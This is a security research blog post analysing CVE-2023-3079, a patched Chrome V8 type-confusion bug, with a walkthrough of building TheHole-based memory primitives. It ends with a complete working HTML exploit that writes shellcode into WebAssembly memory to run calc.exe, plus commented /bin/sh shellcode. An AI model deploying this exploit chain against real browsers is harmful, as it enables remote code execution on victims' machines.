[Wipeload Step 3] H0le in One(EN)

thumbnail

0. Overview

Hello, this is ji9umi! 🌏 In the previous post, Step 2 of the Wipeload project, we covered the V8 Heap Sandbox Bypass. The vulnerability we will explore in this post, CVE-2023-3079, is an RCE vulnerability in the Chrome Renderer. By combining it with the previous bypass technique, it was possible to achieve code execution with Medium IL privileges..!

Although the order of the blog posts has changed, the actual exploit chain was executed in the following sequence: CVE-2023-3079 → V8 Heap Sandbox Bypass → Chrome Sandbox Escape → LPE. For the technical analysis, excellent resources were already publicly available, including Theori’s Chaining N-days to Compromise All series, which served as the biggest inspiration for this project.

Therefore, this post focuses heavily on the additional details learned from the perspective of a beginner taking their first steps into V8 vulnerability analysis (which, honestly, is about me haha;), alongside the process of setting up a vulnerable environment to test it.

At the end, I combined the two separate PoCs into a single chain and tested it on an actual browser, so I would highly appreciate it if you read through to the end! 🙇🏻

1. Background

V8 incorporates various optimization techniques to enhance performance. CVE-2023-3079 is also an RCE vulnerability caused by a type confusion that occurs during the handling of Inline Cache, one of these optimization mechanisms.

Before diving into the vulnerable logic, let’s first go over the fundamental concepts to understand the underlying internal mechanism 🏃🏻‍♀️

1.1. Inline Cache

Inline Cache (hereinafter IC) is not an optimization technique unique to V8. Other JavaScript engines, such as Firefox’s SpiderMonkey and Safari’s JavaScriptCore, also share this exact same concept.

Furthermore, Maps—the term used in V8 to describe HiddenClasses—are referred to as Shapes in SpiderMonkey and Structures in JSC 🤯

To put it simply, IC can be understood as a mechanism that accelerates repetitive object property accesses during runtime. Since this high-level explanation might be hard to grasp initially, let’s break down the foundational concepts step by step.

V8 utilizes a concept called Maps. Independent from JavaScript’s built-in Map object, these Maps contain a wealth of metadata about a JavaScript object. They record detailed information, such as the overall size of the object, what properties exist inside, and the exact order of those properties. Because of this structural tracking, a single object can transition through multiple Maps as its state changes. Conversely, two or more objects that share the exact same shape can share a single Map.

shape-chain-1.svg

The image above shows how the Map changes when starting with an empty object and sequentially adding the ‘x’ and ‘y’ keys. The transitions follow the sequence of Shape (empty) → Shape (x) → Shape (x, y), effectively demonstrating that a new Map is generated whenever an object’s properties are modified.

shape-tree.svg

As previously mentioned, objects sharing the same shape can share a single Map. Conversely, if objects that initially shared the same shape diverge into different structures, their Map transitions will naturally branch out as well.

d8> var a = {} 
undefined
d8> %DebugPrint(a);
DebugPrint: 0x3002001cc5a1: [JS_OBJECT_TYPE]
 - map: 0x3002001048ed <Map[28](HOLEY_ELEMENTS)> [FastProperties]

# ...

d8> a.x = 1;
1
d8> %DebugPrint(a);
DebugPrint: 0x3002001cc5a1: [JS_OBJECT_TYPE]
 - map: 0x30020011bfc5 <Map[28](HOLEY_ELEMENTS)> [FastProperties]

# ...

If you run d8 and check directly, you can see that the address pointed to by the map field changes from 0x3002001048ed to 0x30020011bfc5. This eventually ties back into how V8 accesses objects. When accessing property ‘x’ of object a, the process follows these steps:

  1. Check the Map of object a
  2. Verify the location of ‘x’ within the Map
  3. (In the case of a key-value structure) Verify the location of the value associated with the key ‘x’
  4. Finally, receive the location of the target value and access it

From a design perspective, this is a straightforward and necessary behavior, but it inevitably becomes a bottleneck when accessing objects repeatedly on a large scale. Therefore, to optimize this process, we can propose the following hypothesis:

What if, when accessing the same property of a specific object within a short period, we skip the intermediate steps and return the offset immediately?

The intermediate steps existed because the structure of the Map could change, requiring us to find the new offset. However, if the returned information remains unchanged over a certain number of iterations, those steps essentially become redundant.

Ultimately, assuming the shape hasn’t changed and returning the offset for faster access is the core concept behind IC.

1.2. IC handlers & slot

Before diving into the root cause, let’s explore two more concepts related to IC. When executing JavaScript, V8 passes the code through an interpreter to transform it into bytecode. Not all bytecodes support IC, but for those that do, each bytecode possesses an IC slot. These IC slots are designed to manage IC handlers, meaning a single IC slot can hold one or more handlers.

Depending on the current state of the IC slot, its classification changes as follows:

  • Uninitialized IC
    • The initial state where no IC handler has been mapped yet.
  • Monomorphic IC
    • A state where exactly one IC handler is mapped.
  • Polymorphic IC
    • A state where 2 to 4 IC handlers are mapped.
  • Megamorphic IC
    • A state where the number of mapped IC handlers exceeds the maximum threshold of a Polymorphic IC.

2. Root Cause Analysis

CVE-2023-3079 is a type confusion vulnerability that occurs when handling JSStrictArgumentsObject within the internal IC logic of the SetKeyedProperty bytecode. Through this flaw, an attacker could leak TheHole object, ultimately enabling full exploitation.

function set_keyed_prop(obj, key, val) {
  obj[key] = val; // SetKeyedProperty
}

In V8, named properties are referred to as properties, while array-indexed properties are called elements. Consequently, IC handlers invoke separate methods to handle each type. To process elements, V8 utilizes KeyedStoreIC::StoreElementHandler().

Handle<Object> KeyedStoreIC::StoreElementHandler(
    Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
    MaybeHandle<Object> prev_validity_cell) {
  ...
  
  if (...) {
    ...
  } else if (receiver_map->has_fast_elements() ||
             receiver_map->has_sealed_elements() ||
             receiver_map->has_nonextensible_elements() ||
             receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
    TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
    code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
    ...
  }
  ...
}

The code branches depending on what kind of values the passed element contains. Since JSStrictArgumentsObject holds fast elements, receiver_map->has_fast_elements() evaluates to true, which in turn invokes the StoreHandler::StoreFastElementBuiltin() method.

Inside this method, the StoreFastElementIC_GrowNoTransitionHandleCOW handler is utilized internally, which is where the bug originates.

Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,
                                                   KeyedAccessStoreMode mode) {
  switch (mode) {
    ...
    case STORE_AND_GROW_HANDLE_COW:
      return BUILTIN_CODE(isolate,
                          StoreFastElementIC_GrowNoTransitionHandleCOW);
    ...
  }
}

As the name suggests, this handler does not trigger a transition during the element storage process. This is because even if a value is appended to the very end of the elements, expanding the original size and filling the empty slots with TheHole, it fails to transition from PACKED_ELEMENTS to HOLEY_ELEMENTS.

By default, JSStrictArgumentsObject uses PACKED_ELEMENTS. However, in the corresponding slow version—the handler invoked when fast elements are not present—the logic explicitly states that when such an addition occurs on a non-JSArray element, it must be changed to HOLEY_ELEMENTS.

The full PoC is as follows:

function set_keyed_prop(obj, key, val) {
  obj[key] = val;
}

function leak_hole() {
  const IC_WARMUP_COUNT = 10;
  for (let i = 0; i < IC_WARMUP_COUNT; i++) {
    set_keyed_prop(arguments, "foo", 1);
  }

  set_keyed_prop([], 0, 1);
  set_keyed_prop(arguments, arguments.length, 1);

  let hole = arguments[arguments.length + 1];
  return hole;
}
  1. First, we repeatedly call the function passing arguments with the key set to ‘foo’ and the value set to 1.
    1. Executing this loop transitions the IC slot of the arguments object into a monomorphic state.
    2. This specific setup is required because we cannot invoke it directly to set an element handler on arguments; if the key were specified as a SMI (Small Integer), V8 would route through a slow path instead of hitting the buggy handler.
  2. Next, we call set_keyed_prop() by passing an empty array as an argument.
    1. Since this array is not an arguments object, it does not match the handler currently registered in the IC slot.
    2. Consequently, to update and set a new element handler, V8 invokes KeyedStoreIC::UpdateStoreElement().
    3. Inside this flow, StoreElementHandler() is called internally, which registers the vulnerable handler.
    4. The subsequently invoked StoreElementPolymorphicHandlers() then converts the existing handler previously registered in the IC slot into an element handler as well.
  3. Finally, when set_keyed_prop() is called for the last time, the vulnerable handler is triggered.
    1. This happens because the operation requires expanding the element storage space of the arguments object while it is still classified as PACKED_ELEMENTS.

This final set_keyed_prop() call forces the expansion of the arguments object, allowing an attacker to access TheHole. By leveraging this state, an attacker can achieve out-of-bounds memory access, clearing the path to proceed with a standard V8 exploit chain.

3. H0le in One

TheHole is a value that must never be exposed to regular users, but leaking this value does not immediately mean the entire exploit was successful. Let’s step back in time to 2021 for a moment.

The initial discovery traces back to issue 40057710. This was identified as an in-the-wild vulnerability and, much like CVE-2023-3079, was a bug that allowed the leakage of TheHole.

To weaponize the leaked TheHole, the attacker targeted JavaScript Maps. Within V8, TheHole is utilized not only as an uninitialized placeholder like undefined, but also as a tombstone value to replace deleted key-value entries inside a Map.

var map = new Map();  
map.set(1, 1);  
map.set(hole, 1);  
// Due to special handling of hole values, this ends up setting the size of the map to -1  
map.delete(hole);  
map.delete(hole);  
map.delete(1);  

// Size is now -1  
//print(map.size);  

// Set values in the map, which presumably ends up corrupting data in front of  
// the map storage due to the size being -1  
for (let i = 0; i < 100; i++) {  
    map.set(i, 1);  
}  

// Optionally trigger heap verification if the above didn't already crash  
//gc();

Since a normal user cannot directly access TheHole, the code snippet above would typically be impossible to execute. However, using TheHole as a key leads to some highly interesting results.

Internally, map.delete() overwrites the target key and value with TheHole to remove them. It then maintains the Map by decrementing its size by 1. Looking at this from another perspective, this means a member with a key-value pair of TheHole-TheHole now exists inside the structure. Consequently, if executing map.delete(TheHole) becomes possible, it means we can tamper with the Map’s size field.

In fact, through the code described above, it was possible to add two members and perform delete() three times, successfully forcing the size to become -1.

Once the Map size is manipulated to -1, the serious work of designing the exploit primitives begins.

image.png

Representing the internal structure of a Map as an image yields the result shown above. While the header has a fixed size, the subsequent hashTable and dataTable dynamically scale based on the bucket count.

Naturally, users are blocked from arbitrarily accessing this region under normal circumstances. However, if you call map.set() after successfully forcing the size to -1, you gain the ability to manipulate both the bucket count and the 0th index of the hashTable.

image.png

When manipulating the bucket count, the sizes of the hashTable and dataTable expand proportionally, making it possible to overwrite data in adjacent objects as shown in the image above.

While there are many more technical details involved in exploiting flaws using TheHole, we will wrap up this section by establishing that adjacent object corruption is achievable. Since this specific phase caused the most trial and error during the actual process of setting up the environment and building the exploit, I hope to cover the chronological evolution of TheHole vulnerabilities in a separate spin-off post if the opportunity arises..!

4. Exploit Development

Fortunately, PoCs for both CVE-2023-3079 and the V8 heap sandbox bypass were publicly available. However, since they were not consolidated into a single exploit, I initially assumed that simply stitching the two PoCs together would lead to a successful reproduction.

As you might have guessed by now, the reason I’m adding so much commentary here is because it wasn’t that simple at all 🥹

4.1. In D8

Both public PoCs targeted the exact same V8 commit hash (f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c). Therefore, after configuring the build environment, checking out that specific commit hash was all it took to replicate the identical target environment.

To integrate them, I first needed to verify the capabilities and boundaries of each baseline PoC. For the CVE-2023-3079 vulnerability, I referenced mistymntncop/CVE-2023-3079, and for the V8 heap sandbox bypass, I used theori-io/v8-sbx-bypass-wasm.

function pwn() {
    the.hole = leak_hole();
    install_primitives();

    let obj = {};
    let obj_addr = addr_of(obj);
    %DebugPrint(obj);
    let obj2 = fake_obj(obj_addr);
    %DebugPrint(obj2);
    print("obj_addr = " + obj_addr.toString(16));

    let map = v8_read64(obj_addr) & 0xFFFFFFFFn;
    print("map = " + map.toString(16));
}
pwn();

The code snippet above is the pwn() function from the CVE-2023-3079 PoC. Since this PoC is restricted to reading and writing within the boundaries of the V8 heap sandbox, we can see that it only implements v8_read64() and v8_write64().

var sbxMemView = new Sandbox.MemoryView(0, 0xfffffff8);
var dv = new DataView(sbxMemView);

function caged_addr_of(obj) {
  return Sandbox.getAddressOf(obj);
}

function caged_read64(addr) {
  addr &= ~1;
  return dv.getBigUint64(addr, true);   
}

function caged_write64(addr, val) {
  addr &= ~1;
  dv.setBigUint64(addr, val, true);   
}

Conversely, the v8-sbx-bypass-wasm PoC utilized Sandbox.MemoryView() and DataView() to achieve R/W capabilities within the V8 heap space. These are APIs that can be activated by configuring v8_enable_memory_corruption_api = true during the V8 build process, allowing for testing while skipping the prior stages.

Ultimately, the final objective of this task is to bypass the heap sandbox by leveraging the intra-sandbox R/W primitive obtained via CVE-2023-3079.

Since the roles of the two PoCs were well-defined, the integration itself was straightforward. It was simply a matter of swapping out caged_read64() and caged_write64()—which initially relied on the Sandbox API—to point to the primitive established by our exploit.

Given that both PoCs shared the exact same commit hash, running them in this specific environment posed no issues whatsoever. However, to prepare for the subsequent Chrome Sandbox Escape and Windows EoP (Elevation of Privilege), testing within an actual Chrome environment was absolutely essential.

4.2. In Chrome

In the case of CVE-2023-3079, the vulnerability was patched in version 114.0.5735.110 for Windows, and 114.0.5735.106 for Linux and Mac, meaning a dedicated environment configuration is required for testing. If you choose to download and build the Chromium source code yourself to test vulnerabilities, it can take an incredibly long time depending on your hardware specs. Fortunately, starting from June 2023, pre-built installation files for specific versions became available for download via Chrome for Testing.

Since the minimum version supported by Chrome for Testing is 113.0.5672.63, it was perfectly suited for setting up a pre-patch environment. The only downside is that D8 is not included in the package. Therefore, after installing it, I checked the corresponding V8 engine version and kicked off a separate build tailored to that specific release.

image.png

To conduct testing, you must pass the --no-sandbox flag when launching Chrome. This is because even if you successfully bypass the V8 heap sandbox, the overarching Chrome Browser Sandbox still blocks direct confirmation, requiring an entirely separate exploitation process to escape. On Windows, you can verify this state by navigating to chrome://sandbox.

image.png

After completing the environment configuration and running the initial PoC for the first time, the following error occurred:

image.png

Investigating the root cause of the error reveals that during the invocation of caged_addr_of(), an attempt is made to modify the value of an undefined property.

function caged_addr_of(obj) {
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
    
    fake_arr[0] = obj;
    let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
    
    large_arr[1] = itof(0n | (smi(0n) << 32n)); 
    
    return result;
}

To be more precise, the issue triggers exactly at fake_arr[0] = obj;, which happens because fake_arr—which should have been created in the preceding step—does not exist. By inspecting the state via WinDbg, I was able to pinpoint the exact root cause: the hardcoded memory offsets were completely mismatched.

image.png

The image above illustrates the intended memory layout in a typical TheHole exploit flow. To obtain the addresses required for building subsequent primitives, fake_arr must sequentially read values located inside large_arr. However, in certain versions, the memory structure appeared differently.

Among the distributed Chrome for Testing releases, the versions that could successfully be tested using the public PoC were limited to 114.0.5708.0 through 114.0.5715.0. When testing on a version where the memory layout matched precisely, I confirmed that the calculator executed successfully.

I will attach the full PoC at the very bottom of this post! 🖥️

5. Takeaways

Given that all the relevant PoCs were already publicly available, I had worried whether there would be much for me to learn—but the process turned out to be challenging enough to make that concern completely groundless. As of right now, even more mitigation mechanisms have been introduced, meaning that uncovering the latest vulnerabilities will require further study. However, because so many well-organized documents are available, I believe this serves as an excellent reference point for anyone looking to make their first foray into Chrome exploitation 😇

In the upcoming installments of the “Finding Inner Peace” series, we will dive into Chrome Sandbox Escape—which enables successful exploitation without relying on the --no-sandbox flag—as well as Windows Elevation of Privilege (EoP)!

Thank you so much for reading, and please stay tuned for the final chapters! 🙇🏻‍♂️🙇🏻‍♀️


99. References


cf. PoC

<html>
    <button onclick="pwn()">Exploit Me</button>
    <script>
        function pwn() {
            alert("Let's go");
        }
        const FIXED_ARRAY_HEADER_SIZE = 8n;

        var arr_buf = new ArrayBuffer(8);
        var f64_arr = new Float64Array(arr_buf);
        var b64_arr = new BigInt64Array(arr_buf);

        function ftoi(f) {
            f64_arr[0] = f;
            return b64_arr[0];
        }

        function itof(i) {
            b64_arr[0] = i;
            return f64_arr[0];
        }

        function smi(i) {
            return i << 1n;
        }

        function gc_minor() { //scavenge
            for(let i = 0; i < 1000; i++) {
                new ArrayBuffer(0x10000);
            }
        }

        function gc_major() { //mark-sweep
            new ArrayBuffer(0x7fe00000);
        }

        function set_keyed_prop(arr, key, val) {
            arr[key] = val;
        }

        function leak_hole() {
            let store_mode = []; //STORE_AND_GROW_HANDLE_COW

            const IC_WARMUP_COUNT = 10;
            for(let i = 0; i < IC_WARMUP_COUNT; i++) {
                set_keyed_prop(arguments, "foo", 1);
            }
        
            set_keyed_prop(store_mode, 0, 1);

            set_keyed_prop(arguments, arguments.length, 1);

            let hole = arguments[arguments.length+1];

            return hole;
        }
        const the = {};
        var large_arr = new Array(0x10000);
        large_arr.fill(itof(0xDEADBEE0n)); //change array type to HOLEY_DOUBLE_ELEMENTS_MAP
        var fake_arr = null;
        var fake_arr_addr = null;
        var fake_arr_elements_addr = null;

        var packed_dbl_map = null;
        var packed_dbl_props = null;

        var packed_map = null;
        var packed_props = null;

        function leak_stuff(b) {
            if(b) {
                let index = Number(b ? the.hole : -1);
                index |= 0;
                index += 1;
            
                let arr1 = [1.1, 2.2, 3.3, 4.4];
                let arr2 = [0x1337, large_arr];
                
                let packed_double_map_and_props = arr1.at(index*4);
                let packed_double_elements_and_len = arr1.at(index*5);
                
                let packed_map_and_props = arr1.at(index*8);
                let packed_elements_and_len = arr1.at(index*9);
                
                let fixed_arr_map = arr1.at(index*6);
                
                let large_arr_addr = arr1.at(index*7);

                return [
                    packed_double_map_and_props, packed_double_elements_and_len,
                    packed_map_and_props, packed_elements_and_len, 
                    fixed_arr_map, large_arr_addr, 
                    arr1, arr2
                ];
            }
            return 0;
        }

        function weak_fake_obj(b, addr=1.1) {
            if(b) {
                let index = Number(b ? the.hole : -1);
                index |= 0;
                index += 1;
            
                let arr1 = [0x1337, {}]
                let arr2 = [addr, 2.2, 3.3, 4.4];
                
                let fake_obj = arr1.at(index*8);
                
                return [
                    fake_obj,
                    arr1, arr2
                ];
            }
            return 0;
        }

        function fake_obj(addr) {
            large_arr[0] = itof(packed_map | (packed_dbl_props << 32n));
            large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
            large_arr[3] = itof(addr | 1n);
            
            let result = fake_arr[0];
            
            large_arr[1] = itof(0n | (smi(0n) << 32n)); 
            
            return result;
        }

        function caged_addr_of(obj) {
            large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
            large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
            
            fake_arr[0] = obj;
            let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
            
            large_arr[1] = itof(0n | (smi(0n) << 32n)); 
            
            return result;
        }

        function caged_read64(addr) {
            if (typeof addr === "number") {
                addr = BigInt(addr);
            }
            addr -= FIXED_ARRAY_HEADER_SIZE;
            
            large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
            large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
            
            let result = ftoi(fake_arr[0]);
            
            large_arr[1] = itof(0n | (smi(0n) << 32n)); 

            return result;    
        }

        function caged_write64(addr, val) {
            if (typeof addr === "number") {
                addr = BigInt(addr);
            }
            addr -= FIXED_ARRAY_HEADER_SIZE;
            
            large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
            large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
            
            fake_arr[0] = itof(val);
            
            large_arr[1] = itof(0n | (smi(0n) << 32n));   
        }

        function install_primitives() {
            for(let i = 0; i < 10; i++) {
                weak_fake_obj(true, 1.1);
            }
            for(let i = 0; i < 10000; i++) {
                weak_fake_obj(false, 1.1);
            }
            
            for(let i = 0; i < 10; i++) {
                leak_stuff(true);
            }
            for(let i = 0; i < 20000; i++) {
                leak_stuff(false);
            }
            gc_minor();
            gc_major();
            
            let leaks = leak_stuff(true);
            
            let packed_double_map_and_props = ftoi(leaks[0]);
            let packed_double_elements_and_len = ftoi(leaks[1]);
            packed_dbl_map = packed_double_map_and_props & 0xFFFFFFFFn;
            packed_dbl_props = packed_double_map_and_props >> 32n;
            let packed_dbl_elements = packed_double_elements_and_len & 0xFFFFFFFFn;
            
            let packed_map_and_props = ftoi(leaks[2]);
            let packed_elements_and_len = ftoi(leaks[3]);
            packed_map = packed_map_and_props & 0xFFFFFFFFn;
            packed_props = packed_map_and_props >> 32n;
            let packed_elements = packed_elements_and_len & 0xFFFFFFFFn;
            
            let fixed_arr_map = ftoi(leaks[4]) & 0xFFFFFFFFn;
            
            let large_arr_addr = ftoi(leaks[5]) >> 32n;
            
            let dbl_arr = leaks[6];
            dbl_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
            dbl_arr[1] = itof(((large_arr_addr + 8n) - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n));
            
            let temp_fake_arr_addr = (packed_dbl_elements + FIXED_ARRAY_HEADER_SIZE)|1n;

            let temp_fake_arr = weak_fake_obj(true, itof(temp_fake_arr_addr));
            let large_arr_elements_addr = ftoi(temp_fake_arr[0]) & 0xFFFFFFFFn;
            fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE;
            fake_arr_elements_addr = fake_arr_addr + 16n;
            
            large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
            large_arr[1] = itof(fake_arr_elements_addr | (smi(0n) << 32n));
            large_arr[2] = itof(fixed_arr_map | (smi(0n) << 32n));

            fake_arr = weak_fake_obj(true, itof(fake_arr_addr))[0];
            
            temp_fake_arr = null;
        }

        function pwn() {
            the.hole = leak_hole();
            install_primitives();
            
            const tbl = new WebAssembly.Table({
                initial: 2,
                element: "anyfunc"
            });

            const importObject = {
                env: { jstimes3: (n) => 3 * n, },
                js: { tbl }
            };

            var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 10, 2, 96, 1, 127, 1, 127, 96, 0, 1, 127, 2, 27, 2, 3, 101, 110, 118, 8, 106, 115, 116, 105, 109, 101, 115, 51, 0, 0, 2, 106, 115, 3, 116, 98, 108, 1, 112, 0, 2, 3, 5, 4, 1, 1, 0, 0, 7, 16, 2, 6, 116, 105, 109, 101, 115, 50, 0, 3, 3, 112, 119, 110, 0, 4, 9, 8, 1, 0, 65, 0, 11, 2, 1, 2, 10, 24, 4, 4, 0, 65, 42, 11, 5, 0, 65, 211, 0, 11, 4, 0, 65, 16, 11, 6, 0, 65, 16, 16, 0, 11]);
            var module = new WebAssembly.Module(code);
            var instance = new WebAssembly.Instance(module, importObject);
            var times2 = instance.exports.times2;
            var shellcode_bytes = [101, 72, 139, 28, 37, 96, 0, 0, 0, 72, 139, 91, 24, 72, 139, 91, 32, 72, 139, 27, 72, 139, 27, 72, 139, 91, 32, 73, 137, 217, 72, 49, 219, 72, 49, 210, 102, 65, 139, 89, 60, 76, 1, 203, 139, 147, 136, 0, 0, 0, 76, 1, 202, 73, 137, 208, 72, 49, 219, 139, 90, 32, 76, 1, 203, 72, 137, 222, 72, 186, 65, 87, 105, 110, 69, 120, 101, 99, 72, 193, 234, 8, 72, 49, 201, 72, 255, 193, 72, 49, 192, 139, 4, 142, 76, 1, 200, 72, 57, 16, 117, 239, 72, 49, 210, 178, 4, 72, 15, 175, 202, 72, 49, 219, 65, 139, 88, 28, 76, 1, 203, 139, 20, 11, 76, 1, 202, 72, 137, 215, 72, 49, 210, 82, 82, 72, 185, 99, 97, 108, 99, 46, 101, 120, 101, 81, 72, 137, 225, 72, 131, 236, 80, 255, 215, 72, 131, 196, 80, 195];
            // var shellcode_bytes = [49, 246, 72, 187, 47, 98, 105, 110, 47, 47, 115, 104, 86, 83, 84, 95, 106, 59, 88, 49, 210, 15, 5, 144];
            var array_buffer = new ArrayBuffer(shellcode_bytes.length);
            var byte_arr = new Uint8Array(array_buffer);
            var bigint_arr = new BigInt64Array(array_buffer);
            var shellcode = instance.exports.pwn;

            // Set the function_index of `instance.exports.times2` to 0
            var instance_addr = caged_addr_of(instance);
            var tbl_addr = caged_addr_of(tbl);
            var exported_func_addr = caged_addr_of(instance.exports.times2);
            var shared_info_ptr = Number(caged_read64(exported_func_addr + 0x8n) >> 32n);
            var data = Number(caged_read64(shared_info_ptr) >> 32n);
            var instance_and_function_index = caged_read64(data + 0x10);
            var instance = instance_and_function_index & 0xFFFFFFFFn;
            caged_write64(data + 0x10, (0n << 32n) | instance);

            console.log("[+] instance_addr = 0x" + instance_addr.toString(16));
            console.log("[+] tbl_addr = 0x" + tbl_addr.toString(16));
            console.log("[+] exported_func_addr = 0x" + exported_func_addr.toString(16));

            var imported_function_targets_and_ift_size = caged_read64(instance_addr + 0x18n);
            var imported_function_targets = imported_function_targets_and_ift_size & 0xFFFFFFFFn;
            let what_ptr = Number(imported_function_targets) + 0x8;
            var rwx = caged_read64(what_ptr);

            console.log("[+] imported_function_targets = 0x" + imported_function_targets.toString(16));
            console.log("[+] rwx = 0x" + rwx.toString(16));

            var indirect_function_tables = Number(caged_read64(instance_addr + 0xc0n) >> 32n);
            var indirect_function_table = Number(caged_read64(indirect_function_tables + 0x8) & 0xFFFFFFFFn);
            var targets_ptr = indirect_function_table + 0x10;
            var where_ptr = targets_ptr;
            var targets = caged_read64(targets_ptr);
            console.log("[+] indirect_function_tables = 0x" + indirect_function_tables.toString(16));
            console.log("[+] indirect_function_table = 0x" + indirect_function_table.toString(16));

            let arbitrary_write = (where, what) => {
                caged_write64(where_ptr, where - 0x8n);
                caged_write64(what_ptr, what);
                tbl.set(1, times2);
                caged_write64(what_ptr, rwx);
                caged_write64(where_ptr, targets);
            };

            for (var i = 0; i < shellcode_bytes.length; ++i) {
                byte_arr[i] = shellcode_bytes[i];
            }

            for (var i = 0; i < shellcode_bytes.length / 8; ++i) {
                arbitrary_write(rwx + 8n * BigInt(i), bigint_arr[i]);
            }

            shellcode();
        }
    </script>
</html>


본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.